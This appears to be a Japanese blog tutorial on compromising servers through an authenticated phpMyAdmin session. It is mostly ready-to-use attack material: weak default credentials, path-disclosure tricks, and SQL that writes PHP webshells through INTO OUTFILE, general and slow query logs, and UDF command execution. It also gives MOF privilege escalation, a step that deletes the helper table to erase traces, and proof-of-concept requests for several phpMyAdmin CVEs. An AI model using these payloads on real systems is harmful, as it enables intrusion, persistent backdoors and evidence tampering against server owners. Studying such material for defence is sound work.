banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

phpmyadminのバックエンドでのgetshellおよび脆弱性の利用

事の発端#

以前、phpmyadminバックエンドの弱パスワードブルートフォースに関する記事を書きました。

では、phpmyadminバックエンドのログイン権限を取得した後、サーバーにshellを書き込むにはどうすればよいのでしょうか?

環境設定#

phpMyAdmin の脆弱性は、認証後に利用可能なものが多いため、バックエンドに入る必要があります。

バックエンドに入る方法は次の通りです:

  • 弱パスワード:root/root, root / 空、mysql/mysql
  • ブルートフォース:以前書いた phpmyadmin ブルートフォースの記事を参照
  • ディレクトリ漏洩

環境はphpstudy2018バージョンを使用しており、以前に脆弱性が報告されていましたが、修正されています。

image

  • Apache/2.4.23
  • PHP/5.4.45
  • MySQL/5.5.53

必要な条件#

ここでは、すべての可能な権限を列挙していますが、すべての書き込み方法にすべての権限が必要なわけではありません。

絶対パス#

物理パス

select version();  -- データベースのバージョンを確認
select @@datadir;  -- データベースのストレージパスを確認
show VARIABLES like '%char%';  -- システム変数を確認

image

log変数を通じて得ることもできます:

image

phpinfo()ページ:最も理想的な状況で、直接ウェブパスが表示されます。

select load_file()を利用してファイルを読み取り、webパスを見つけます:

/etc/passwdapache|nginx|httpd logなどのファイルを試すことができます。

設定ファイルのパスを暴露:もし注入ポイントにファイル読み取り権限があれば、load_file を通じて設定ファイルを読み取ることができます。

# Windows
 c:\windows\php.ini                             # php設定ファイル
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS仮想ホスト設定ファイル
  # Linux
 /etc/php.ini                                   # php設定ファイル
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache設定ファイル
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # 仮想ディレクトリ設定ファイル

シングルクオートでパスを暴露:URL の後ろにシングルクオートを追加します。シングルクオートがフィルタリングされていない(gpc=off)こと、かつサーバーがデフォルトでエラーメッセージを返すことが必要です。

www.abc.com/index.php?id=1'

エラーのパラメータ値でパスを暴露:提出するパラメータ値をエラー値に変更してみます。

www.abc.com/index.php?id=-1

Nginxファイルタイプエラー解析でパスを暴露:WebサーバーがNginxであり、ファイルタイプ解析の脆弱性が存在する必要があります。

画像のアドレスの後に/x.phpを追加すると、その画像はphpファイルとして実行されるだけでなく、物理パスも暴露される可能性があります。

www.abc.com/bg.jpg/x.php

Googleでパスを暴露:

site:xxx.com warning
site:xxx.com “fatal error”

テストファイルでパスを暴露:

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

その他

phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

アカウントに読み書き権限があるか#

shellを書き込む際にエラーが発生した場合、以下のユーザー権限を確認することもできます:

select * from mysql.user;                //すべてのユーザー権限を確認
select * from mysql.user where user="root";        //rootユーザーの権限を確認
update user set File_priv ='Y' where user = 'root';      //rootユーザーにファイルの読み書きを許可
update user set File_priv ='N' where user = 'root';      //rootユーザーのファイルの読み書きを禁止
flush privileges;                    //MySQLシステム権限関連のテーブルをリフレッシュ

image

パスに読み書き権限があるか#

secure_file_priv 権限#

select @@secure_file_priv;   -- secure_file_privを確認
 -- secure_file_priv=NULL、インポートとエクスポートを禁止
 -- secure_file_priv='',インポートとエクスポートに制限なし、Linuxではデフォルトで/tmpディレクトリが書き込み可能
 -- secure_file_priv=/path/、指定されたディレクトリにのみインポートとエクスポートが可能

my.inimy.cnfmysqld.cnfファイル内でsecure_file_priveを見つけ、その値を ""または"/" に設定し、MySQL サービスを再起動してください!

これは一般的な方法であり、phpstudymysqlの設定ファイルにはこのパラメータはありません。

したがって、自分で設定ファイルにsecure_file_priv =という行を追加すればよいのです。

image

image

mysqlを再起動して再度確認:

image

ログの読み書き権限#

ログの状態を確認:

show variables  like  '%general%';

image

generalが有効な場合、実行されたsql文はすべて *******.log ファイルに表示されます。

したがって、general_log_fileの値を変更すると、実行されたsql文がshellを生成します。

ログの読み書きを有効にする:

SET GLOBAL general_log='on'

image

その他の権限#

magic_quotes_gpc:有効にすると、' シングルクオートがエスケープされ、\バックスラッシュに変わります。

getshell#

一般的な getshell#

必要な条件は:

  • 現在のデータベースユーザーに書き込み権限があること
  • ウェブの絶対パスを知っていること
  • ウェブパスに書き込み可能であること

使用例:

select '<?php @eval($_POST[soap]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\config.php';

image

注意:phpmyadminsql文内で書き込みを実行する場合、パスはスラッシュ / またはダブルバックスラッシュ \ でなければなりません。

もしエラーメッセージが表示された場合、Can't create/write to file 'xxx/xxx/xxx.php' (Errcode: 13)というメッセージが表示されます。

これはディレクトリが書き込み不可であることを示しており、他のディレクトリを試すことができます。例えば:

  • /upload
  • /templates
  • /cache

中国語のパスでshellを書き込む:

set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[soap]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\config.php';

アリババの接続:http://192.168.1.7/config.php、パスワード:soap

image

image

このように利用することもできます:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test.php';

アクセスリンク:http://192.168.1.7/test.php?cmd=net user

image

image

注入ポイントがある場所でもこのように使用できます:

id=1) into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\settings.php' fields terminated by '<?php @eval($_POST[]);?>'

テーブル作成による getshell#

直接phpmyadminで操作することもできますし、または直接sql文でテーブルを作成することもできます:

CREATE TABLE `mysql`.`soapffz` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`soapffz` (`content` ) VALUES ('<?php @eval($_POST[soap]);?>');
SELECT `content` FROM `mysql`.`soapffz` INTO OUTFILE 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
または
Create TABLE soapffz (content text NOT NULL);
Insert INTO soapffz (content) VALUES('<?php @eval($_POST[pass]);?>');
select `content` from mysql.soapffz into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
その後、作成したテーブルを削除して痕跡を消します。
DROP TABLE IF EXISTS `mysql`.`soapffz`;

image

shellに接続できます。

ログによる getshell#

必要な条件:

  • ログ記録が有効であること
  • ウェブの絶対パス

実際に実行する操作:

  • ログファイルを webshell に変更する

ログファイルに書き込むことで getshell#

注意:次のように操作します:

show global variables like "%genera%";
set global general_log='on';

操作設定のディレクトリは、phpstudyを再起動すると無効になります。

指定したログファイル:

set global general_log_file = "C:/phpstudy/PHPTutorial/WWW/test2.php";

実行コードを書き込む:

SELECT '<?php eval($_POST["soap"]);?>'

スロークエリを通じて shell を書き込む#

現在のスロークエリログのディレクトリを確認:

show variables like '%slow%';

image

パスを再設定:

set GLOBAL slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/slow.php';

スロークエリログを有効にする:

set GLOBAL slow_query_log=on;

ログに書き込む操作を実行:

select '<?php eval($_POST["soap"]);?>' from mysql.db where sleep(10);

ユーザー定義関数(UDF)#

WindowsおよびLinux環境に適用されます。

必要な条件:

  • 書き込み権限があること
  • プラグインディレクトリが書き込み可能であること(または指定されたプラグインディレクトリを変更できること)。

具体的な状況は、ターゲットの mysql のバージョンによります:

  • Mysql バージョン > 5.1 の場合、dll または so は mysql インストールディレクトリの lib\plugin に配置する必要があります。このディレクトリに書き込み権限がある場合は利用可能です。確認するには:
    show variables like %plugin%; // プラグインディレクトリを確認
  • 5.0 <= Mysql バージョン <5.1 の場合、ターゲットサーバーのシステムディレクトリ(例:C://Windows/System32)にエクスポートする必要があります。
  • Mysql バージョン < 5.0 の場合、ディレクトリはカスタマイズ可能で、具体的な利用方法は以下の通りです:

ターゲットmysqlバージョンに基づいて特定のディレクトリにsoまたはdllを書き込み、sqlmapの中のものを参考にできます。

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

対応する関数を作成:

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

コマンドを実行:

select * from mysql.func where name = 'sys_eval'; #作成したsys_eval関数を確認
select sys_eval('whoami'); #システムコマンドを使用

MOF 特権昇格#

mysqlを通じてファイルをMOFファイルに書き込み、元のMOFファイルを置き換えます。その後、システムは 5 秒ごとにアップロードされたMOFを実行します。

一般的にWindows <= 2003に適用され、C:\Windows\System32\mofディレクトリに書き込み権限が必要です(通常は書き込み権限がありません)。

MSFを使用して直接利用できます:exploit/windows/mysql/mysql_mof

特殊バージョンによる getshell#

CVE-2013-3238
影響バージョン:3.5.x < 3.5.8.1および4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用モジュール:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影響バージョン:phpMyAdmin v3.5.2.2
利用モジュール:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin設定ファイル/config/config.inc.phpにコマンド実行の脆弱性
影響バージョン:2.11.x < 2.11.9.5および3.x < 3.1.3.1
利用モジュール:exploit/unix/webapp/phpmyadmin_config
弱パスワード&万能パスワード
弱パスワード:バージョンphpmyadmin2.11.9.2、直接rootユーザーでログイン、パスワード不要
万能パスワード:バージョン2.11.3 / 2.11.4、ユーザー名'localhost'@'@"でログイン成功

phpmyadmin 脆弱性利用#

WooYun-2016-1994 33:任意ファイル読み取りの脆弱性

影響を受ける phpMyAdmin2.xバージョン、pocは以下の通り:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2014 -8959:ローカルファイル包含

影響範囲:phpMyAdmin 4 .0.1--4 .2.12PHP version < 5.3.4が必要、Pocは以下の通り:

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # 注意してtoken値を変更してください

実際の利用では、/tmpディレクトリにファイルを書き込むこととこの脆弱性を組み合わせてRCEを完成させることができます。phpバージョンはhttp headerを通じて確認できます。

テーブル内容をファイルにエクスポートする追加内容を確認できます。

CVE-2016-5734 :バックエンドRCE

影響範囲:PhpMyAdmin4 .0.x-4 .6.2PHP 4 .3.0-5.4 .6 versionsが必要、利用方法は以下の通り:

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

CVE-2018-1261:バックエンドファイル包含

phpMyAdmin 4 .8.0および4 .8.1、検証により任意ファイル包含が実現可能。利用方法は以下の通り:

SQL文を実行し、PHPコードをSessionファイルに書き込みます:

select '<?php phpinfo();exit;?>'

sessionファイルを含める:

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # ***はphpMyAdminのCOOKIE値

CVE-2018-19968:任意ファイル包含/RCE

phpMyAdmin 4 .8.0~4 .8.3、利用方法は以下の通り:

データベースを作成し、PHPコードをSessionファイルに書き込みます:

CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

fooデータベースのphpMyAdminの設定表を生成し、アクセスします:

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

データを改ざんしてpma column_infoに挿入します:

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # ***はphpMyAdminのCOOKIE値

ここで注意が必要なのは、システムのsession保存位置が異なることです。具体的なシステムはphpMyAdminログイン後のホームページで確認できます。

MacOS/var/tmp
Linux/var/lib/php/sessions
phpStudy/phpstudy/PHPTutorial/tmp/tmp

Sessionファイルを含むアドレスにアクセス:

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。